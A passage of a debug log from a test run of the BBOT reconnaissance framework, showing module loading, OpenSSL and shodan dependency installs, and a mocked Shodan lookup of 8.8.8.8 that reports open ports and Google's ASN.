disk -2026-03-01 16:43:39,623 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:43:39,623 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:43:39,624 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:43:39,624 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:43:39,625 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:43:39,626 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:43:39,627 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:43:39,628 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:43:39,628 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:43:39,629 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:43:39,630 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:43:39,631 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:43:39,631 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:43:39,631 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:43:39,632 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:43:39,633 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:43:39,634 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:43:39,634 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:43:39,635 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:43:39,636 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:43:39,637 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:43:39,637 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:43:39,638 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:43:39,639 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:43:39,640 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:43:39,640 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:43:39,641 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:43:39,641 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:43:39,642 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:43:39,643 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:43:39,643 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:43:39,644 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:43:39,645 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:43:39,646 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:43:39,647 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:43:39,647 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:43:39,648 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:43:40,771 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:43:40,772 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:43:40,772 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:43:40,910 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:43:41,485 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:43:41,486 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:43:41,486 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:43:41,486 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:43:41,695 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:43:41,696 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:43:41,805 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:43:41,805 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:43:41,860 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:43:41,863 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:43:41,863 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:43:42,305 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:43:42,306 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:43:45,317 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:43:45,317 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:43:45,318 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:43:47,141 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:43:47,142 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:43:47,148 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:43:47,148 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:43:47,148 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:43:47,149 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:43:47,153 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/uycpppqragb9t5c9ayme -2026-03-01 16:43:47,917 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:43:47,918 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:43:47,918 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:43:47,919 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:43:47,919 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:43:47,919 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:43:47,919 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:43:47,920 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:43:47,921 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:43:48,043 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:43:48,044 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:43:48,044 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:43:48,045 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:43:48,046 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:43:48,046 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:43:48,046 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:43:48,047 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:43:48,047 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:43:48,047 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:43:48,048 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:43:48,048 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:43:48,048 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:43:48,048 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:43:48,048 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:43:48,049 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:43:48,049 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:43:48,050 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:43:48,050 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:43:48,050 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:43:48,050 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:43:48,051 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:43:48,051 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:43:48,051 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:43:48,051 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:43:48,051 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:43:48,051 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:43:48,052 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:43:48,052 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:43:48,052 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:43:48,052 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:43:48,052 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:43:48,052 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:43:48,053 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:43:48,053 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:43:48,053 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:43:48,053 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:43:48,054 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:43:48,054 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:43:48,054 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:43:48,054 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:43:48,054 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:43:48,055 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:43:48,055 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:43:48,055 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:43:48,199 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_6kkmyclhgd -2026-03-01 16:43:48,199 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:43:48,310 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:43:48,310 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:43:48,311 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:43:48,312 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 16:43:48,412 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check -2026-03-01 16:43:48,413 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 16:43:48,415 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target -2026-03-01 16:43:48,415 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:43:48,417 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:43:48,418 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:43:48,418 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:43:48,418 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:43:48,421 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:43:48,422 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:43:48,422 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:43:48,424 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:43:48,424 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:43:48,426 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:43:48,427 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:43:48,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:43:48,431 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:43:48,431 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:43:48,432 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:43:48,432 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-01 16:43:48,433 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-01 16:43:48,433 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-01 16:43:48,433 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:43:48,434 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:43:48,525 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 16:43:48,526 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:43:48,527 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:43:48,527 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-01 16:43:48,528 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 16:43:48,528 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,529 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,530 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:43:48,530 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,531 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,531 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,532 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,532 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,533 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:43:48,533 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,534 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,534 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,535 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,535 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,535 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,536 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:43:48,537 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,537 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,538 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,538 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:43:48,539 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:43:48,539 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,540 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,540 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,540 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,541 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:43:48,541 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,542 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,542 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:43:48,543 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,543 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:43:48,544 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:43:48,544 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,544 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:43:48,545 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,545 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,546 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:43:48,546 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:43:48,547 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:43:48,547 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 